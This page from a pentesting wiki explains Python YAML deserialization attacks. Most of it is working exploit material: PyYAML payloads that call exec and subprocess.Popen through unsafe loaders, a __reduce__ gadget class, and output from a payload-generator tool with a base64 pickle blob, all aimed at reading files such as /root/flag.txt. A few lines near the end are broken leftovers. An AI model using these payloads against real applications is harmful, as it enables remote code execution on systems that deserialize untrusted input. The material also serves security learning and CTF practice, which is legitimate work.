#@ck3r
  • Welcome
  • Administrator
    • ActiveDirectory
      • Methodology
    • LDAP
    • Kerberos
  • HTB_CTF
    • It's Oops PM
  • 🕸️ Pentesting Web
    • Web Vulnerabilities Methodology
      • Reflecting Techniques - PoCs and Polygloths CheatSheet
        • Web Vulns List
    • 2FA/MFA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning via URL discrepancies
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
    • Cookies Hacking
      • Cookie Tossing
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
  • Dangling Markup - HTML scriptless injection
  • Dependency Confusion
  • Deserialization
    • NodeJS - __proto__ & prototype Pollution
      • Client Side Prototype Pollution
      • Express Prototype Pollution Gadgets
      • Prototype Pollution to RCE
    • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
    • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
    • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
    • Exploiting __VIEWSTATE without knowing the secrets
    • Python Yaml Deserialization
    • JNDI - Java Naming and Directory Interface & Log4Shell
    • Ruby Class Pollution
  • Page 1
Powered by GitBook
On this page
  • Yaml Deserialization
  • RCE
  1. Deserialization

Python Yaml Deserialization

PreviousExploiting __VIEWSTATE without knowing the secretsNextJNDI - Java Naming and Directory Interface & Log4Shell

Last updated 3 months ago

Yaml python libraries is also capable to serialize python objects and not just raw data:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Check how the tuple isn’t a raw type of data and therefore it was serialized. And the same happened with the range (taken from the builtins).

safe_load() or safe_load_all() uses SafeLoader and don’t support class object deserialization. Class object deserialization example:

python

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

The previous code used unsafe_load to load the serialized python class. This is because in version >= 5.1, it doesn’t allow to deserialize any serialized python class or class attribute, with Loader not specified in load() or Loader=SafeLoader.

Example on how to execute a sleep:

python

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Old versions of pyyaml were vulnerable to deserialisations attacks if you didn't specify the Loader when loading something: yaml.load(data)

yaml

!!python/object/new:str
state: !!python/tuple
  - 'print(getattr(open("flag\x2etxt"), "read")())'
  - !!python/object/new:Warning
    state:
      update: !!python/name:exec

Or you could also use this one-liner provided by @ishaack:

yaml

!!python/object/new:str {
  state:
    !!python/tuple [
      'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
      !!python/object/new:Warning { state: { update: !!python/name:exec  } },
    ],
}

Note that in recent versions you cannot no longer call .load() without a Loader and the FullLoader is no longer vulnerable to this attack.

Custom payloads can be created using Python YAML modules such as PyYAML or ruamel.yaml. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.

python

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
    def __reduce__(self):
        return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

bash

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
  - cat
    - /root/flag.txt

You can find the . The proposed exploit in that page is:

The tool can be used to generate python deserialization payloads to abuse Pickle, PyYAML, jsonpickle and ruamel.yaml:

Basic Exploit
Vulnerable .load("<content>") without Loader
description of the vulnerability here
RCE
Tool to create Payloads
https://github.com/j0lt-github/python-deserialization-attack-payload-generator
References
https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
https://net-square.com/yaml-deserialization-attack-in-python.html
Yaml Deserialization